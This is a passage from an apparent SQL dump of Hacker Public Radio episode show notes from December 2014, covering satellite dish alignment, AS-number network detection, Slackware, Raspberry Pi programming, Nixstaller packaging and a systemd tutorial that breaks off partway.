Ku-band transponders as well as 4 Ka-band transponders. The different beams provide coverage over the UK and Ireland, Europe and West Africa.</p>\r\n<p><a href=\"https://www.ses.com/4628824/astra-2g\"><img src=\"https://sat.ses.com/webservice/images/12494520\" width=\"80%\" alt=\"The footprint over Ireland and the UK\" /></a></p>\r\n<p><a href=\"https://www.ses.com/4628824/astra-2g\">https://www.ses.com/4628824/astra-2g</a></p>\r\n<h2>Components of a Communications Satelites</h2>\r\n<ul>\r\n<li>Rocket motors</li>\r\n<li>Fuel tanks</li>\r\n<li>Solar panels</li>\r\n<li>Batteries</li>\r\n<li>Computer</li>\r\n<li>Antennas and transceivers/transponders</li>\r\n</ul>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Transponder_%28satellite_communications%29\">https://en.wikipedia.org/wiki/Transponder_%28satellite_communications%29</a></p>\r\n<p>The word \"transponder\" is derived from the words \"transmitter\" and \"responder.\" </p>\r\n<p>A communications satellite\'s transponder is the series of interconnected units that form a communications channel between the receiving and the transmitting antennas. It is mainly used in satellite communication to transfer the received signals.</p>\r\n<p>A transponder is typically composed of</p>\r\n<ul>\r\n<li>An input band limiting device (a band pass filter)</li>\r\n<li>An input low-noise amplifier (LNA), designed to amplify the (normally very weak, because of the large distances involved) signals received from the earth station</li>\r\n<li>A frequency translator (normally composed of an oscillator and a frequency mixer) used to convert the frequency of the received signal to the frequency required for the transmitted signal</li>\r\n<li>An output band pass filter</li>\r\n<li>A power amplifier (this can be a traveling-wave tube or a solid state amplifier)</li>\r\n</ul>\r\n<p><a href=\"https://www.jsati.com/why-satellite-how-Spacesegment4.asp\">https://www.jsati.com/why-satellite-how-Spacesegment4.asp</a></p>\r\n<h2>Boeing commercial communications satellites geosynchronous orbit</h2>\r\n<p><a href=\"https://www.boeingimages.com/Docs/BOE/Media/TR3_WATERMARKED/1/a/2/a/BI231995.jpg\"><img width=\"80%\" src=\"https://www.boeingimages.com/Docs/BOE/Media/TR3_WATERMARKED/1/a/2/a/BI231995.jpg\" alt=\"boeing commercial communications satellites geosynchronous orbit\"/></a></p>\r\n<p><a href=\"https://www.boeingimages.com/Docs/BOE/Media/TR3_WATERMARKED/1/a/2/a/BI231995.jpg\">https://www.boeingimages.com/Docs/BOE/Media/TR3_WATERMARKED/1/a/2/a/BI231995.jpg</a></p>\r\n<h1>Finding Astra 28.2E</h1>\r\n<p>This is one of the many sites that will give you a birds eye view of where you need to point your dish.</p>\r\n<p><a href=\"https://www.dishpointer.com/\">https://www.dishpointer.com/</a></p>\r\n<p>Terms needed when pointing a dish</p>\r\n<p><a href=\"https://commons.wikimedia.org/wiki/File:Azimut_altitude.svg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/f/f7/Azimuth-Altitude_schematic.svg/350px-Azimuth-Altitude_schematic.svg.png\" alt=\"The azimuth is the angle formed between a reference direction (North) and a line from the observer to a point of interest projected on the same plane as the reference direction orthogonal to the zenith\"/></a></p>\r\n<p><a href=\"https://commons.wikimedia.org/wiki/File:Azimut_altitude.svg\">https://commons.wikimedia.org/wiki/File:Azimut_altitude.svg</a></p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2000/sat_finder_01.png\" alt=\"screen shot of the dispointer page\"/></p>\r\n<p>The Dish, on Kens Roof.</p>\r\n<p><a href=\"https://www.hackerpublicradio.org/eps/hpr2000/kens_sat.jpg\"><img width=\"80%\" src=\"https://www.hackerpublicradio.org/eps/hpr2000/kens_sat_small.jpg\" alt=\"Ken Sat Dish\"/></a></p>\r\n<p>Reading the elevation from the dish assembley.</p>\r\n<p><a href=\"https://www.hackerpublicradio.org/eps/hpr2000/elevation.jpg\"><img width=\"80%\" src=\"https://www.hackerpublicradio.org/eps/hpr2000/elevation_small.jpg\" alt=\"\"/></a></p>\r\n<h1>FreeSat</h1>\r\n<p>Freesat is broadcast from the same satellites (Astra 28.2E and Eurobird 1) as Sky Digital.</p>\r\n<p>This is a list of all of the free-to-air channels that are currently available via satellite from SES Astra satellites (Astra 2E/2F/2G) located at 28.2 °E. </p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_free-to-air_channels_at_28%C2%B0E\">https://en.wikipedia.org/wiki/List_of_free-to-air_channels_at_28%C2%B0E</a></p>\r\n<p>Here is a link to a page on how to get mythtv working with FreeSat.</p>\r\n<p><a href=\"https://parker1.co.uk/mythtv_freesat.php\">https://parker1.co.uk/mythtv_freesat.php</a></p>\r\n',30,83,1,'CC-BY-SA','procrastination,orbit,satellite,satellite dish',0,0,1),
(1654,'2014-12-04','Using AS numbers to identify where you are on the Internet',1204,'ASN uniquely identifies each network on the Internet','<p>\r\nI have a laptop and I want it to use different configurations depending on where I am. If I’m on wifi at home, I don’t want my NAS mounted, but if I’m on a wired connection I do. If I’m at work I want to connect to various servers there. If I’m in the train I want to setup a vpn tunnel. You get the idea.\r\n</p>\r\n<p>\r\nMy solution to this was to approach it from the laptop and go out. So to look around and see what network I was on. There are a few ways to approach this, you could look at your IP address, the arp tables, try and ping a known server in each location. The issue with looking at an IP address is that most networks use Private Networks. Very soon you will find that the wifi coffee shop happens to have picked the same range as you use at home and now your laptop is trying to backup to their cash register.\r\n</p>\r\n<p>\r\nThen I was thinking that I’m approaching this problem from the wrong angle. Why not start with my public IP address range, which has to be unique, and work back from there to my laptop. From there I was planning on maintaining a look-up table of public IP addresses, along the lines of the GeoIP tools developed by MaxMind.\r\n</p>\r\n<p>\r\nBy Accident I found out that geoiplookup supports AS Number\r\n</p>\r\n<blockquote>\r\nFrom WikiPedia: Autonomous System (Internet)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Autonomous_System_%28Internet%29\">https://en.wikipedia.org/wiki/Autonomous_System_%28Internet%29</a><br />\r\nISP must have an officially registered autonomous system number (ASN). A unique ASN is allocated to each AS for use in BGP routing. AS numbers are important because the ASN uniquely identifies each network on the Internet.\r\n</blockquote>\r\n<p>\r\nSo what that is saying is that every network in the Inter(connected)Net(work), must have it’s own unique AS Number. From there I was able to write a script to easily manage my laptops behaviour based on both location and connection type</p>\r\n<p>\r\nSee <a href=\"https://kenfallon.com/scripts-based-on-your-network-location/\">https://kenfallon.com/scripts-based-on-your-network-location/</a> for the complete article and scripts.</p>\r\n\r\n\r\n',30,0,0,'CC-BY-SA','Autonomous System Number,ASN,geoiplookup',0,0,1),
(1656,'2014-12-08','My audio player collection',1278,'I describe the collection of audio players I use for listening to podcasts','<h1 id=\"my-audio-player-collection\">My Audio Player Collection</h1>\r\n<p>I got broadband installed in my house in 2005 after I\'d bought my first PC. I\'d owned a lot of PCs before that, but they had all been cast-offs from the university I was working at, and I accessed the Internet via dial-up to my work.</p>\r\n<p>This was around the time I got sick of listening to the radio and first discovered podcasts, and so I decided I wanted a portable audio player (or <em>MP3 Player</em> as they tended to be called back then).</p>\r\n<p>Since then I have been listening to podcasts pretty much all of the time and have worked my way through a number of players. I thought it might be interesting if I chronicled the devices I have owned in the past 9-10 years.</p>\r\n<p>The full show notes for this episode are available at: <a href=\"https://hackerpublicradio.org/eps/hpr1656_full_shownotes.html\">hpr1656_full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Full show notes <a href=\"https://hackerpublicradio.org/eps/hpr1656_full_shownotes.html\">hpr1656_full_shownotes.html</a></li>\r\n<li>Rockbox <a href=\"https://www.rockbox.org/\">https://www.rockbox.org/</a></li>\r\n<li>SanDisk Sansa range <a href=\"https://en.wikipedia.org/wiki/SanDisk_Sansa\">https://en.wikipedia.org/wiki/SanDisk_Sansa</a></li>\r\n<li>iRiver H10 series <a href=\"https://en.wikipedia.org/wiki/Iriver_H10_series\">https://en.wikipedia.org/wiki/Iriver_H10_series</a></li>\r\n<li>Apple iPod mini <a href=\"https://en.wikipedia.org/wiki/IPod_Mini\">https://en.wikipedia.org/wiki/IPod_Mini</a></li>\r\n</ul>\r\n\r\n',225,0,1,'CC-BY-SA','audio player,podcast,Rockbox',0,0,1),
(1657,'2014-12-09','Hacking Gutenberg eBooks',1623,'I talk about ebook formatting and how to customize an ebook from Project Gutenberg','<h3>Links to stuff I mentioned in the podcast:</h3>\r\n\r\n<ul>\r\n<li>Project Gutenberg: <a href=\"https://www.gutenberg.org/\">https://www.gutenberg.org/</a>\r\n</li>\r\n<li>\"Washington Square\" by Henry James: <a href=\"https://www.gutenberg.org/ebooks/2870\">https://www.gutenberg.org/ebooks/2870</a>\r\n</li>\r\n<li>Calibre ebook manager: <a href=\"https://calibre-ebook.com/\">https://calibre-ebook.com/</a>\r\n</li>\r\n<li>My \"basic ebook\" css file: <a href=\"https://paste.jonkulp.net/bokehecisa.css\">https://paste.jonkulp.net/bokehecisa.css</a>\r\n</li>\r\n</ul>',238,0,0,'CC-BY-SA','ebooks, html, css, hacks',0,0,1),
(1658,'2014-12-10','Cool Stuff Part 2',1177,'CPrompt talks about some more cool stuff that he has discovered','<p>\r\nToday I Found Out: <a href=\"https://www.todayifoundout.com/\">https://www.todayifoundout.com/</a>\r\n</p>\r\n<p>\r\nDaily Knowledge Podcast: <a href=\"https://www.todayifoundout.com/index.php/category/podcast/\">https://www.todayifoundout.com/index.php/category/podcast/</a>\r\n</p>\r\n<p>\r\nCommand Line Tips: using CTRL + Left / Right arrow will allow you to move through a long command word by word instead of moving through each letter.  Makes making adjustments to a long command much quicker.<br/>\r\nUse the \"cd -\" to move back and forth between previous directories. cd into a directory, then cd into a different one.  Now do \"cd -\" and you will be back to the first directory.  \r\n</p>\r\n<p>\r\nXFCE : script that uses xdtool to move window from one monitor to the next  <a href=\"https://makandracards.com/makandra/12447-how-to-move-a-window-to-the-next-monitor-on-xfce-xubuntu\">https://makandracards.com/makandra/12447-how-to-move-a-window-to-the-next-monitor-on-xfce-xubuntu</a>\r\n</p>\r\n<p>\r\nHyperkin Pixel Art Controller: <a href=\"https://hyperkin.com/hyperkin-pixel-art-controller-for-pc-mac-computers-1265.html\">https://hyperkin.com/hyperkin-pixel-art-controller-for-pc-mac-computers-1265.html</a>. Use with the SNES9x emulator.  Works very well\r\n</p>\r\n',252,0,0,'CC-BY-SA','Today I Found Out,Daily Knowledge Podcast,command line,XFCE,Hyperkin Pixel Art Controller',0,0,1),
(1659,'2014-12-11','OggCamp Interview with Jon Archer',564,'A short interview with Jon Archer, UK Fedora Ambassador. ','<p>In today\'s show, <a href=\"https://corenominal.org\" title=\"Link to Philip\'s blog.\">Philip Newborough</a> interviews <a href=\"https://jonarcher.info/\" title=\"Jon Archer\'s homepage.\">Jon Archer</a>, the UK <a href=\"https://fedoraproject.org/wiki/Ambassadors\" title=\"More information about Fedora Ambassadors.\">Fedora Ambassador</a>.</p>\r\n\r\n<p>In the interview, Philip and Jon discuss:</p>\r\n\r\n<ul>\r\n    <li>Jon\'s role as a Fedora Ambassador</li>\r\n    <li>Recent happenings in the land of Fedora</li>\r\n    <li>Jon\'s involvement with the new UK Fedora Podcast</li>\r\n</ul>\r\n\r\n<p>The interview was conducted at <a href=\"https://oggcamp.org/\" title=\"Link to OggCamp website.\">OggCamp 14</a>, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.</p>\r\n',287,78,0,'CC-BY-SA','oggcamp,oggcamp14',0,0,1),
(1661,'2014-12-15','OggCamp Interview with Paul Tansom',701,'A short interview with Paul Tansom of Code Club.','<p>In today\'s show, <a href=\"https://corenominal.org\" title=\"Link to Philip\'s blog.\">Philip Newborough</a> interviews <a href=\"https://twitter.com/aptanet\" title=\"Paul Tansom on Twitter.\">Paul Tansom</a>, a regional co-ordinator for <a href=\"https://www.codeclub.org.uk/\" title=\"Code Club.\">Code Club</a>.</p>\r\n\r\n<p>In the interview, Philip and Paul discuss:</p>\r\n\r\n<ul>\r\n    <li>What\'s involved in being a Code Club volunteer</li>\r\n    <li>How to get involved</li>\r\n    <li>How Code Club and the UK national curriculum compliment each other</li>\r\n    <li>Code Club Pro</li>\r\n</ul>\r\n\r\n<p>The interview was conducted at <a href=\"https://oggcamp.org/\" title=\"Link to OggCamp website.\">OggCamp 14</a>, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.</p>\r\n',287,78,0,'CC-BY-SA','oggcamp,oggcamp14',0,0,1),
(1660,'2014-12-12','Trying out Slackware',3926,'Slackware-newbie Beni is talking to long time Slackware user mcnalu','<p>\r\nmcnalu wrote a article about Slackware in Linux Voice, Issue 6.\r\n</p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1660_img.png\" alt=\"tux smokes a pipe with the hpr logo\" />\r\n<p>\r\n<a href=\"https://www.linuxvoice.com/issue-6/\">https://www.linuxvoice.com/issue-6/</a>\r\n</p>\r\n<p>\r\nBeni read this article which lead to him trying out Slackware and being very\r\nimpressed by its simplicity.\r\n</p>\r\n<p>\r\nThat\'s why he asked mcnalu to do a HPR episode about Slackware, which is\r\nprobably the oldest Linux Distro that\'s still around and whose developer follows\r\na no-nonsense strategy and is very conservative when it comes switching to new\r\nstuff that comes up in the Linux world (like PAM or systemd)\r\n</p>\r\n<p>\r\nThe distro is one of the if not the most Unix-like Linux distro. It uses a BSD\r\nstyle init system instead of widely used sysvinit.\r\n</p>\r\n<p>\r\nBeni and mcnalu talk about the installation process, finding dokumentation and\r\nwhy the website is outdated.\r\n</p>\r\n<p>\r\nFurther they discuss the package manager and what it means that it doesn\'t\r\nresolve dependencies. They also explain why this isn\'t necessariliy a bad\r\nthing and where to find binary packages.\r\n</p>\r\n<p>\r\nIn the end they talk about where the Slackware community meets and who is in\r\ncharge of Slackware.\r\n</p>\r\n<p>\r\n<a href=\"https://www.slackware.com/\">https://www.slackware.com/</a>\r\n<a href=\"https://en.wikipedia.org/wiki/Slackware\">https://en.wikipedia.org/wiki/Slackware</a>\r\n</p>\r\n<p>\r\nSlackware documentation isn\'t as good the BSDs dokumentation or the Arch\r\nWiki. But it\'s definitely getting better\r\n</p>\r\n<p>\r\n<a href=\"https://docs.slackware.com/\">https://docs.slackware.com/</a>\r\n</p>\r\n<p>\r\nand there is also \'Slackware essentials\', a book that\'s also available online:\r\n</p>\r\n<p>\r\n<a href=\"https://www.slackware.com/book/\">https://www.slackware.com/book/</a>\r\n</p>\r\n<p>\r\nThe Slackware forum on Linux Questions is pretty much the official Slackware\r\nforum:\r\n<a href=\"https://www.linuxquestions.org/questions/slackware-14/\">https://www.linuxquestions.org/questions/slackware-14/</a>\r\n</p>\r\n<p>\r\nmcnalu announced his Article in the Linux Questions forum:\r\n<a href=\"https://www.linuxquestions.org/questions/slackware-14/linux-voice-issue-6-a-4175513762/\">https://www.linuxquestions.org/questions/slackware-14/linux-voice-issue-6-a-4175513762/</a>\r\n</p>\r\n<p>\r\nTo support the development of Slackware you could buy yourself a Christmas\r\npresent from the Slackware store:\r\n</p>\r\n<p>\r\n<a href=\"https://store.slackware.com\">https://store.slackware.com</a>\r\n</p>\r\n',288,0,0,'CC-BY-SA','slackware, distro, linux',0,0,1),
(1662,'2014-12-16','LinuxLugCast Episode-001 Outtakes',5122,'Preshow and aftershow banter that does not get published through our normal feeds.','<p>\r\nSome good content that we do not publish.\r\n</p>\r\n<p>\r\n<a href=\"https://linuxlugcast.com/\">https://linuxlugcast.com/</a><br />\r\n<a href=\"https://linuxlugcast.com/?p=75\">https://linuxlugcast.com/?p=75</a>\r\n</p>',265,0,1,'CC-BY-SA','linuxlugcast,outtakes',0,0,1),
(1663,'2014-12-17','Interview with Greg Greenlee Founder of Blacks In Technology',3749,'Blacks In Technology is a tech focused community focused on increasing diversity in technology.','<p>\r\nIn todays show, Ken interviews Greg Greenlee Founder of Blacks In Technology\r\n</p>\r\n<p>\r\n<strong>The RSS Feed:</strong> <a href=\"https://www.spreaker.com/user/6698969/episodes/feed\">https://www.spreaker.com/user/6698969/episodes/feed</a>\r\n</p>\r\n<p>\r\nBlacks In Technology is a tech focused community and media organization focused on increasing diversity in technology. Blacks In Technology\'s mission is to increase visibility, participation, and change the perception of people of African descent in technology through community focused activities, events and media. Blacks In Technology (BIT) is \"Stomping the Divide\" by establishing a blueprint of world class technical excellence and innovation by providing resources, guidance and issuing a challenge to our members to surpass the high mark and establish new standards of global innovation.\r\n</p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.blacksintechnology.net/\">https://www.blacksintechnology.net/</a>\r\n</li>\r\n<li><a href=\"https://www.twitter.com/blkintechnology\">https://www.twitter.com/blkintechnology</a>\r\n</li>\r\n<li><a href=\"https://www.blacksintechnology.net/feed/rss/\">https://www.blacksintechnology.net/feed/rss/</a>\r\n</li>\r\n<li><a href=\"https://plus.google.com/+BlacksintechnologyNet/\">https://plus.google.com/+BlacksintechnologyNet/</a>\r\n</li>\r\n<li><a href=\"https://www.linkedin.com/groups/Blacks-In-Technology-1415387\">https://www.linkedin.com/groups/Blacks-In-Technology-1415387</a>\r\n</li>\r\n<li><a href=\"https://www.facebook.com/blacksintechnology\">https://www.facebook.com/blacksintechnology</a>\r\n</li>\r\n</ul>',30,78,1,'CC-BY-SA','Blacks in Technology,diversity,technology',0,0,1),
(1666,'2014-12-22','Bare Metal Programming on the Raspberry Pi (Part 3)',4158,'This episode, embedded programming, ARM co-processors and the ARM memory management unit.','<p>\r\nThis is the third episode in a series on bare metal programming on the Raspberry\r\nPi.  This episode rounds out my initial stab at doing a series on RPI embedded\r\nprogramming based on my summer vacation project.  This episode discusses how to \r\nwrite code with an eye towards using it in an embedded environment.  It \r\ncontinues with a discussion of how coprocessors fit into the ARM architecture.\r\nIt also describes how to manage coprocessors programatically in a very hackerish\r\nway using self-modifying code.  Finally, the episode describes how to enable the\r\nvirtual memory subsystem in the ARM as well as the cache.  It includes some\r\nperformance measurements of my code both with and without the cache enabled.\r\n</p>\r\n<p>\r\nHere is some of the source material that I reference in this episode.  See\r\nthe previous episode show notes for information on how to get your own\r\nbare metal Raspberry Pi setup up and running.\r\n</p>\r\n\r\n<h3>CATRPI</h3>\r\n\r\n<ul>\r\n<li>Homepage: <a href=\"https://gitorious.org/catrpi\">https://gitorious.org/catrpi</a>\r\n</li>\r\n<li>Git repo: git://gitorious.org/catrpi/catrpi.git\r\n</li>\r\n<li>My own repository of code that I wrote during this little project.\r\n</li>\r\n</ul>\r\n\r\n<h3>Hacker\'s Delight by Henry S. Warren Jr.</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.hackersdelight.org/\">https://www.hackersdelight.org/</a>\r\n</li>\r\n<li>A fantastic book on low level computer mathematics.  I find it a joy to read.\r\n   I cannot recommend it highly enough.  It belongs on anyone\'s shelf next\r\n   to Knuth and other \"programming bibles\".\r\n</li>\r\n</ul>\r\n\r\n<h3>ARM ARM</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf\">https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf</a>\r\n</li>\r\n<li><a href=\"https://morrow.ece.wisc.edu/ECE353/arm_reference/ddi0100e_arm_arm.pdf\">https://morrow.ece.wisc.edu/ECE353/arm_reference/ddi0100e_arm_arm.pdf</a>\r\n</li>\r\n<li>Contains the ARM assembly language as well as chip architecture overview.\r\n</li>\r\n<li>You\'ll need the ARM 11 Architecture Reference Manual\r\n</li>\r\n</ul>\r\n\r\n<h3>ARM TRM</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf\">https://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf</a>\r\n</li>\r\n<li>Contains info about the specific SOC that the Raspberry PI uses\r\n</li>\r\n</ul>\r\n\r\n<h3>dwelch67\'s bare metal repository</h3>\r\n\r\n<ul>\r\n<li>As always, the best guide I know on this topic.  Very thorough and what I \r\n   used as my starting point.\r\n</li>\r\n<li><a href=\"https://github.com/dwelch67/raspberrypi\">https://github.com/dwelch67/raspberrypi</a>\r\n<p></p>\r\n</li>\r\n</ul>',259,25,0,'CC-BY-SA','Raspberry Pi,programming,ARM,co-processor,memory management unit',0,0,1),
(1667,'2014-12-23','How to start a Blog',798,'How to start a blog and why you might want to','<p>\r\nSo you want to start a blog?\r\n</p>\r\n<p>\r\nHere are some of the tings to think about:\r\n</p>\r\n\r\n<ul>\r\n<li>Why do you want to do a blog?\r\n</li>\r\n<li>What do you want to say?\r\n</li>\r\n<li>Who are your audience?\r\n</li>\r\n<li>Do you mean to promote the blog to a wider audience or do you just want to write?\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThere are a number of popular and well known blogging engines and \r\nservices, these are just some of them:\r\n</p>\r\n\r\n<ul>\r\n<li>Wordpress: <a href=\"https://wordpress.com/\">https://wordpress.com/</a>\r\n</li>\r\n<li>Drupal: <a href=\"https://www.drupal.org/\">https://www.drupal.org/</a>\r\n</li>\r\n<li>Livejournal: <a href=\"https://www.livejournal.com/\">https://www.livejournal.com/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nNikola is an excellent system for creating a web-site that includes \r\nboth static pages and a blog.  It has been covered before on HPR and \r\nit was that show that started me using it.\r\n</p>\r\n\r\n<ul>\r\n<li>Nikola: <a href=\"https://www.getnikola.com/\">https://www.getnikola.com/</a>\r\n<p></p>\r\nThe HPR show about Nikola, by Guitarman: <a href=\"https://hackerpublicradio.org/eps.php?id=1577\">https://hackerpublicradio.org/eps.php?id=1577</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Links</h3>\r\n\r\n<p>\r\nHere are links to a couple of my blogs:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://lajefa.net/\">https://lajefa.net/</a>\r\n</li>\r\n<li><a href=\"https://www.raspberryvi.org/rill/\">https://www.raspberryvi.org/rill/</a>\r\n<p></p>\r\nHappy blogging!\r\n</li>\r\n</ul>',291,0,1,'CC-BY-SA','Blog, wordpress, drupal, nikola, journal',0,0,1),
(1668,'2014-12-24','Nixstaller',3016,'Klaatu talks about Nixstaller. Packaging applications for GNU Linux and BSD','<p>\r\nCross-distro and -POSIX packages are easy with Nixstaller. (Note that\r\nthis pre-dates and is entirely unrelated to NixOS or Nix packages.)\r\n</p>\r\n<p>\r\nDownload Nixstaller from <a href=\"https://nixstaller.sourceforge.net\">https://nixstaller.sourceforge.net</a> and read\r\nthe docs there.\r\n</p>\r\n<p>\r\nReview the sample package templates included in the examples dir.\r\n</p>\r\n<p>\r\nGenerate an empty template dir with genprojdir.sh\r\n</p>\r\n<p>\r\nModify the config.lua and run.lua files to suit your needs.\r\n</p>\r\n<p>\r\nPlace your payload(s) into the appropriate folders.\r\n</p>\r\n<p>\r\nGenerate your re-distributable install file with geninstall.sh:\r\n</p>\r\n<p>\r\ngeninstall foo-1.0.0 foo.run\r\n</p>\r\n<p>\r\nThat\'s it!\r\n</p>',78,63,0,'CC-BY-SA','Nixstaller,packaging,GNU Linux,BSD',0,0,1),
(1669,'2014-12-25','New Retro Computing',1053,'NYbill talks about building a Micromite Companion ','<p>\r\nSorry for the bad audio in places here. My mic was giving me troubles. Also, I know I called MythTV, Mythbox. (Mythbox was the name I gave the computer that ran MythTV here way back when.)\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>The Micromite Companion kit: <a href=\"https://propellerpowered.com/shop/?page_id=1946\">https://propellerpowered.com/shop/?page_id=1946</a>\r\n</li>\r\n<li>Build instructions: <a href=\"https://propellerpowered.com/forum/index.php?PHPSESSID=6ddf1cdf7dc34bdf34500d2b39581492&amp;topic=638.0\">https://propellerpowered.com/forum/index.php?PHPSESSID=6ddf1cdf7dc34bdf34500d2b39581492&amp;topic=638.0</a>\r\n</li>\r\n<li>The Retrobits podcast: <a href=\"https://www.retrobits.com/\">https://www.retrobits.com/</a>\r\n</li>\r\n<li>Pics of the build: <a href=\"https://media.gunmonkeynet.net/u/nybill/collection/micromite-companion-build/\">https://media.gunmonkeynet.net/u/nybill/collection/micromite-companion-build/</a>\r\n</li>\r\n</ul>',235,0,0,'CC-BY-SA','Micromite Companion,BASIC',0,0,1),
(1671,'2014-12-29','LinuxLugCast Episode-002 Outtakes',4913,'Some good content that we do not publish','<p>\r\nPreshow and aftershow banter that does not get published through our normal feeds. \r\n</p>\r\n<a href=\"https://linuxlugcast.com/?p=115\">https://linuxlugcast.com/?p=115</a>',265,0,1,'CC-BY-SA','linuxlugcast,outtakes',0,0,1),
(1672,'2014-12-30','Systemd for Learner Drivers ',1288,'How to drive systemd, without crashing the vehicle through arguing with your passenger.','<h1>systemd For Learner Drivers</h1>\n <p>A graphic to help out: <a href=\"https://hackerpublicradio.org/eps/hpr1672.svg\">https://hackerpublicradio.org/eps/hpr1672.svg</a></p>\n <p>This is a subject that attracts controversy, but I am not today going to be controversial, I hope. Many Linux systems are moving away from SysV Init and adopting systemd instead; both Linuxes that I use, Fedora and Mint have adopted systemd, and I understand that Debian has now forked to allow both sides of the argument to have their way. I am not going to get into the debate here. My personal stance is that I see both sides of the argument and I will continue to perch on top of the fence until systemd either proves itself or fails to do so.</p>\n <p>In this HPR I am going to try to fill a gap that I have seen in the systemd discussion; that is - how to operate it. I am not an expert on systemd, I have just tried to work it, and in doing so I have fished around in my file system and in the documentation. If you want to know what I found, then keep on listening. By way of opening I will remind myself, and you also, what systemd is replacing.</p>\n <p>SysV initd works with runlevels, the most common being</p>\n <ul>\n  <li>5 for graphical multiuser networked</li>\n  <li>3 for cli multiuser networked</li>\n  <li>1 for single user</li>\n  <li>6 for reboot</li>\n  <li>0 for halt</li>\n </ul>\n <p>In moving to a runlevel, unwanted services are shut down and wanted services are started up. For most users on most systems the most appropriate default runlevel is 5 giving multiuser, GUI &amp; networking. Services can be started and stopped on demand by inetd.</p>\n <p>systemd works differently. It has target units. For most users on most systems the most appropriate default target is the graphical.target, which does a similar thing to runlevel 5 . Units are configured by unit configuration files. These files may start other units and stop other units. They can impose sequence and dependancies. There is a lot of cascading going on, with unit launching unit launching unit. Units also can be started and stopped on demand by systemd.</p>\n <h2>Units</h2>\n <p>The term Unit refers to a resource that systemd is taking under its control. There are 12 different types of Unit.</p>\n <dl>\n  <dt><strong>systemd.service</strong></dt>\n  <dd>that starts/stops daemons</dd>\n  <dt><strong>systemd.socket</strong></dt>\n  <dd>activates network connections</dd>\n  <dt><strong>systemd.device</strong></dt>\n  <dd>activates kernel devices</dd>\n  <dt><strong>systemd.mount</strong></dt>\n  <dd>controls mount points</dd>\n  <dt><strong>systemd.automount</strong></dt>\n  <dd>provides on-demand mounting of file systems</dd>\n  <dt><strong>systemd.swap</strong></dt>\n  <dd>does for swap what systemd.mount does for filesystems</dd>\n  <dt><strong>systemd.scope</strong></dt>\n  <dd>starts/stops external processes</dd>\n  <dt><strong>systemd.target</strong></dt>\n  <dd>groups of services akin to init level 3, init level 5</dd>\n  <dt><strong>systemd.snapshot</strong></dt>\n  <dd>saves/restores the momentary state of other units</dd>\n  <dt><strong>systemd.timer</strong></dt>\n  <dd>triggers units based on date/time</dd>\n  <dt><strong>systemd.path</strong></dt>\n  <dd>trigger units based on changes in file system objects</dd>\n  <dd>organises units in a hierarchical tree of cgroups, for resource management purposes</dd>\n </dl>\n <p>Units files called by systemd live in <code>/etc/systemd/system</code>. But these are symbolic links to the real ones stored in <code>/usr/lib/systemd/system</code></p>\n <p>There is a parallel <code>/etc/systemd/user</code> structure which does not seem to do anything on my computers, so I work for now like its not there.</p>\n <p>There is also a <code>/run/systemd/system</code> structure which appears to contain runtime configuration files with names like <code>session-xxxx.scope</code>. These are the unit type for external processes.</p>\n <table border=\"1\" cellpadding=\"5\" cellspacing=\"5\" width=\"500\">\n  <caption>Table 1. Directory structure for systemd</caption>\n  <tr>\n   <th>Path</th>\n   <th>Description</th>\n  </tr>\n  <tr>\n   <td><code>/etc/systemd/system</code></td>\n   <td>Local configuration</td>\n  </tr>\n  <tr>\n   <td><code>/etc/systemd/user</code></td>\n   <td>User configuration</td>\n  </tr>\n  <tr>\n   <td><code>/run/systemd/system</code></td>\n   <td>Runtime units</td>\n  </tr>\n  <tr>\n   <td><code>/usr/lib/systemd/system</code></td>\n   <td>Units of installed packages</td>\n  </tr>\n </table>\n <h2>Directives</h2>\n <p>The next thing we need is Directives.</p>\n <p>The unit configuration files contain directives to start/stop a unit, and directives that cascade to other unit configuration files that start/stop dependant units. Directives may impose conditions on whether or when to call a unit. There are a whole bunch of different directives listed in man systemd.unit. These are a few.</p>\n <ul>\n  <li><code>Requires=</code> list of units to start. If any required units fail then abort this one</li>\n  <li><code>Conflicts=</code> list of units to stop</li>\n  <li><code>After=</code> the order in which units will start</li>\n  <li><code>Before=</code> the order in which units will start</li>\n  <li><code>Wants=</code> list of units to start. If any fail just continue anyway</li>\n </ul>\n <p>As well wanted units listed by the WANTS directive, there may also be a \'wants\' directory below the unit directory. So the unit conf file <code>/etc/systemd/system/default.target</code> will cause two further unit conf files to be read in from the <code>/etc/systemd/system/default.target.wants/</code> directory.</p>\n <p>Each required unit and wanted unit from the directives, as well as those in the wants directory are added to a job queue. If directives cascade to other unit files containing more directives then all of these dependences are also added to the job queue. A directive may start or stop another unit, or that change the detail of a job already in the queue. All directives ultimately cascade down to starting or stopping one of the base units in <code>/usr/lib/systemd/system</code>.</p>\n <p>To get a feel for how this all pans out in practice I will walk us through the cascade of unit files from bootup.</p>\n <h2>From Bootup</h2>\n <p>First, the default.taget is activated, which on my system is just a link to graphical.target</p>\n <h3>graphical.target</h3><pre>\n[Unit]\nDescription=Graphical Interface\nDocumentation=man:systemd.special(7)\nRequires=multi-user.target\nAfter=multi-user.target\nConflicts=rescue.target\nWants=display-manager.service\nAllowIsolate=yes\n</pre><p>Cascades to</p>\n <ul>\n  <li>start multi-user.target</li>\n  <li>start 